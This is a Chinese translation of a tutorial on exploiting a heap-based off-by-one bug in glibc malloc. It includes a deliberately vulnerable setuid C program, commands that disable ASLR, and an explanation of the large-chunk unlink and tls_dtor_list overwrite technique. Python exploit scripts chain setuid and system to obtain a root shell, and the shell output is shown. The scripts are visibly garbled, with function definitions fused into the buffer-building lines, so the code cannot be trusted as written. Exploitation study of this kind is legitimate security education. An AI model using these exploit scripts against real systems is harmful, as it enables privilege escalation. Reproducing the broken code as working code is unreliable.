# Off-By-One 漏洞（基于堆）

> 译者：[飞龙](https://github.com/wizardforcel)

> 原文：[Off-By-One Vulnerability (Heap Based)](https://sploitfun.wordpress.com/2015/06/09/off-by-one-vulnerability-heap-based/)

预备条件：

1.  [Off-By-One 漏洞（基于栈）](http://bbs.pediy.com/thread-216954.htm)
2.  [理解 glibc malloc](http://blog.csdn.net/maokelong95/article/details/51989081)

VM 配置：Fedora 20（x86）

> 什么是 Off-By-One 漏洞？

在[这篇](https://sploitfun.wordpress.com/2015/06/07/off-by-one-vulnerability-stack-based-2/)文章中提到过，将源字符串复制到目标缓冲区可能造成 Off-By-One 漏洞，当源字符串的长度等于目标缓冲区长度的时候。

当源字符串的长度等于目标缓冲区长度的时候，单个 NULL 字符会复制到目标缓冲区的上方。因此由于目标缓冲区位于堆上，单个 NULL 字节会覆盖下一个块的块头部，并且这会导致任意代码执行。

回顾：在[这篇](https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/)文章中提到，在每个用户请求堆内存时，堆段被划分为多个块。每个块有自己的块头部（由`malloc_chunk`表示）。`malloc_chunk`结构包含下面四个元素：

1.  `prev_size` -- 如果前一个块空闲，这个字段包含前一个块的大小。否则前一个块是分配的，这个字段包含前一个块的用户数据。

2.  `size`：这个字符包含分配块的大小。字段的最后三位包含标志信息。

    +   `PREV_INUSE (P)`如果前一个块已分配，会设置这个位。
    +   `IS_MMAPPED (M)`当块是 mmap 块时，会设置这个位。
    +   `NON_MAIN_ARENA (N)`当这个块属于线程 arena 时，会设置这个位。
    
3.  `fd`指向相同 bin 的下一个块。
4.  `bk`指向相同 bin 的上一个块。

漏洞代码：

```c
//consolidate_forward.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

#define SIZE 16

int main(int argc, char* argv[])
{

 int fd = open("./inp_file", O_RDONLY); /* [1] */
 if(fd == -1) {
 printf("File open error\n");
 fflush(stdout);
 exit(-1);
 }

 if(strlen(argv[1])>1020) { /* [2] */
 printf("Buffer Overflow Attempt. Exiting...\n");
 exit(-2);
 }

 char* tmp = malloc(20-4); /* [3] */
 char* p = malloc(1024-4); /* [4] */
 char* p2 = malloc(1024-4); /* [5] */
 char* p3 = malloc(1024-4); /* [6] */

 read(fd,tmp,SIZE); /* [7] */
 strcpy(p2,argv[1]); /* [8] */

 free(p); /* [9] */
}
```

编译命令：

```
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -o consolidate_forward consolidate_forward.c
$sudo chown root consolidate_forward
$sudo chgrp root consolidate_forward
$sudo chmod +s consolidate_forward
```

注意：

出于我们的演示目的，关闭了 ASLR。如果你也想要绕过 ASLR，使用信息泄露 bug，或者爆破机制，在[这篇](https://sploitfun.wordpress.com/2015/06/16/use-after-free/)文章中描述。

上述漏洞代码的行`[2]`和`[8]`是基于堆的 off-by-one 溢出发生的地方。目标缓冲区的长度是 1020，因此长度为 1020 的源字符串可能导致任意代码执行。

> 任意代码执行如何实现？

任意代码执行，当单个 NULL 字节覆盖下一个块（`p3`）的块头部时实现。当大小为 1020 字节（`p2`）的块由单个字节溢出时，下一个块（`p3`）的头部中的`size`的最低字节会被 NULL 字节覆盖，并不是`prev_size`的最低字节。

> 为什么`size`的 LSB 会被覆盖，而不是`prev_size`？

`checked_request2size`将用户请求的大小转换为可用大小（内部表示的大小），因为需要一些额外空间来储存`malloc_chunk `，并且也出于对齐目的。转换实现的方式是，可用大小的三个最低位始终不会为零（也就是 8 的倍数，译者注），所以可以用于放置标志信息 P、M 和 N。

因此当我们的漏洞代码执行`malloc(1020)`时，用户请求大小 1020 字节会转换为`((1020 + 4 + 7) & ~7)`字节（内部表示大小）。1020 字节的分配块的富余量仅仅是 4 个字节。但是对于任何分配块，我们需要 8 字节的块头部，以便储存`prev_size `和`size`信息。因此 1024 字节的前八字节会用于块头部，但是现在我们只剩下 1016（1024 - 8）字节用于用户数据，而不是 1020 字节。但是像上面`prev_size `定义中所述，如果上一个块（`p2`）已分配，块（`p3`）的`prev_size `字段包含用户数据。因此块`p3`的`prev_size`位于这个 1024 字节的分配块`p2`后面，并包含剩余 4 字节的用户数据。这就是`size`的 LSB 被单个 NULL 字节覆盖，而不是`prev_size`的原因。

堆布局

![1](http://upload-images.jianshu.io/upload_images/118142-2277e57fbcf7e9ac.png)

注意：上述图片中的攻击者数据会在下面的“覆盖`tls_dtor_list`”一节中解释。

现在回到我们原始的问题。

> 任意代码执行如何实现？

现在我们知道了，在 off-by-one 漏洞中，单个 NULL 字节会覆盖下一个块（`p3`）`size`字段的 LSB。这单个 NULL 字节的溢出意味着这个块（`p3`）的标志信息被清空，也就是被溢出块（`p2`）变成空闲块，虽然它处于分配状态。当被溢出块（`p2`）的标志 P 被清空，这个不一致的状态让 glibc 代码 unlink 这个块（`p2`），它已经在分配状态。

在[这篇](https://sploitfun.wordpress.com/2015/02/26/heap-overflow-using-unlink/)文章中我们看到，unlink 一个已经处于分配状态的块，会导致任意代码执行，因为任何四个字节的内存区域都能被攻击者的数据覆盖。但是在同一篇文章中，我们也看到，unlink 技巧已经废弃，因为 glibc 近几年来变得更加可靠。具体来说，因为“双向链表损坏”的条件，任意代码执行时不可能的。

但是在 2014 年末，Google 的 Project Zero 小组找到了一种方式，来成功绕过“双向链表损坏”的条件，通过 unlink large 块。

unlink：

```c
#define unlink(P, BK, FD) { 
  FD = P->fd; 
  BK = P->bk;
  // Primary circular double linked list hardening - Run time check
  if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) /* [1] */
   malloc_printerr (check_action, "corrupted double-linked list", P); 
  else { 
   // If we have bypassed primary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
   FD->bk = BK; /* [2] */
   BK->fd = FD; /* [3] */
   if (!in_smallbin_range (P->size) 
   && __builtin_expect (P->fd_nextsize != NULL, 0)) { 
    // Secondary circular double linked list hardening - Debug assert
    assert (P->fd_nextsize->bk_nextsize == P);  /* [4] */
        assert (P->bk_nextsize->fd_nextsize == P); /* [5] */
    if (FD->fd_nextsize == NULL) { 
     if (P->fd_nextsize == P) 
      FD->fd_nextsize = FD->bk_nextsize = FD; 
     else { 
      FD->fd_nextsize = P->fd_nextsize; 
      FD->bk_nextsize = P->bk_nextsize; 
      P->fd_nextsize->bk_nextsize = FD; 
      P->bk_nextsize->fd_nextsize = FD; 
     } 
    } else { 
     // If we have bypassed secondary circular double linked list hardening, below two lines helps us to overwrite any 4 byte memory region with arbitrary data!!
     P->fd_nextsize->bk_nextsize = P->bk_nextsize; /* [6] */
     P->bk_nextsize->fd_nextsize = P->fd_nextsize; /* [7] */
    } 
   } 
  } 
}
```

在 glibc malloc 中，主要的环形双向链表由`malloc_chunk `的`fd`和`bk`字段维护，而次要的环形双向链表由`malloc_chunk `的`fd_nextsize`和`bk_nextsize`字段维护。双向链表的加固看起来用在主要（行`[1]`）和次要（行`[4]`和`[5]`）的双向链表上，但是次要的环形双向链表的加固，只是个调试断言语句（不像主要双向链表加固那样，是运行时检查），它在生产构建中没有被编译（至少在 fedora x86 中）。因此，次要的环形双向链表的加固（行`[4]`和`[5]`）并不重要，这让我们能够向任意 4 个字节的内存区域写入任何数据（行`[6]`和`[7]`）。

然而还有一些东西应该解释，所以让我们更详细地看看，unlink large 块如何导致任意代码执行。由于攻击者已经控制了 -- 要被释放的 large 块，它覆盖了`malloc_chunk `元素，像这样：

+   `fd`应该指向被释放的块，来绕过主要环形双向链表的加固。
+   `bk`也应该指向被释放的块，来绕过主要环形双向链表的加固。
+   `fd_nextsize `应该指向`free_got_addr – 0x14`。
+   `bk_nextsize `应该指向`system_addr`。

但是根据行`[6]`和`[7]`，需要让`fd_nextsize `和`bk_nextsize `都是可写的。`fd_nextsize `是可写的，（因为它指向了`free_got_addr – 0x14`），但是`bk_nextsize`不是可写的，因为他指向了`system_addr `，它属于`libc.so`的文本段。让`fd_nextsize `和`bk_nextsize `都可写的问题，可以通过覆盖`tls_dtor_list`来解决。

覆盖`tls_dtor_list`：

`tls_dtor_list`是个线程局部的变量，它包含函数指针的列表，它们在`exit`过程中调用。`__call_tls_dtors`遍历`tls_dtor_list`并依次调用函数。因此如果我们可以将`tls_dtor_list`覆盖为堆地址，它包含`system`和`system_arg`，来替代`dtor_list`的`func`和`obj`，我们就能调用`system`。

![2](http://upload-images.jianshu.io/upload_images/118142-9214891d6f4b0265.png)

所以现在攻击者需要覆盖要被释放的 large 块的`malloc_chunk `元素，像这样：

+   `fd`应该指向被释放的块，来绕过主要环形双向链表的加固。
+   `bk`也应该指向被释放的块，来绕过主要环形双向链表的加固。
+   `fd_nextsize`应该指向`tls_dtor_list - 0x14`。
+   `bk_nextsize`应该指向含有`dtor_list `元素的堆地址。

`fd_nextsize`可写的问题解决了，因为`tls_dtor_list `属于`libc.so`的可写区段，并且通过反汇编`_call_tls_dtors()`，`tls_dtor_list `的地址为`0xb7fe86d4`。

`bk_nextsize`可写的问题也解决了，因为它指向堆地址。

使用所有这些信息，让我们编写利用程序来攻击漏洞二进制的“前向合并”。

利用代码：

```py
#exp_try.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b430
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])
```

执行上述利用代码不会向我们提供 root shell。它向我们提供了一个运行在我们的权限级别的 bash shell。嗯...

```
$ python -c 'print "A"*16' > inp_file
$ python exp_try.py 
Calling vulnerable program
sh-4.2$ id
uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2$ exit
exit
$
```

> 为什么不能获得 root shell？

当`uid != euid`时，`/bin/bash`会丢弃权限。我们的二进制“前向合并”的真实 uid 是 1000，但是它的有效 uid 是 0。因此当`system`调用时，bash 会丢弃权限，因为真实 uid 不等于有效 uid。为了解决这个问题，我们需要在`system`之前调用`setuid(0)`，因为`_call_tls_dtors()`依次遍历`tls_dtor_list `，我们需要将`setuid`和`system`链接，以便获得 root shell。

完整的利用代码：

```py
#gen_file.py
#!/usr/bin/env python
import struct

#dtor_list
setuid = 0x4e123e30
setuid_arg = 0x0
mp = 0x804b020
nxt = 0x804b430

#endianess convertion
def conv(num):
 return struct.pack("<I",num(setuid)
tst += conv(setuid_arg)
tst += conv(mp)
tst += conv(nxt)

print tst
-----------------------------------------------------------------------------------------------------------------------------------
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call

fd = 0x0804b418
bk = 0x0804b418
fd_nextsize = 0xb7fe86c0
bk_nextsize = 0x804b008
system = 0x4e0a86e0
sh = 0x80482ce

#endianess convertion
def conv(num):
 return struct.pack("<I",num(fd)
buf += conv(bk)
buf += conv(fd_nextsize)
buf += conv(bk_nextsize)
buf += conv(system)
buf += conv(sh)
buf += "A" * 996

print "Calling vulnerable program"
call(["./consolidate_forward", buf])
```

执行上述利用代码会给我们 root shell。

```
$ python gen_file.py > inp_file
$ python exp.py 
Calling vulnerable program
sh-4.2# id
uid=0(root) gid=1000(sploitfun) groups=0(root),10(wheel),1000(sploitfun) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
sh-4.2# exit
exit
$
```

我们的 off-by-one 漏洞代码会向前合并块，也可以向后合并。这种向后合并 off-by-one 漏洞代码也可以利用。
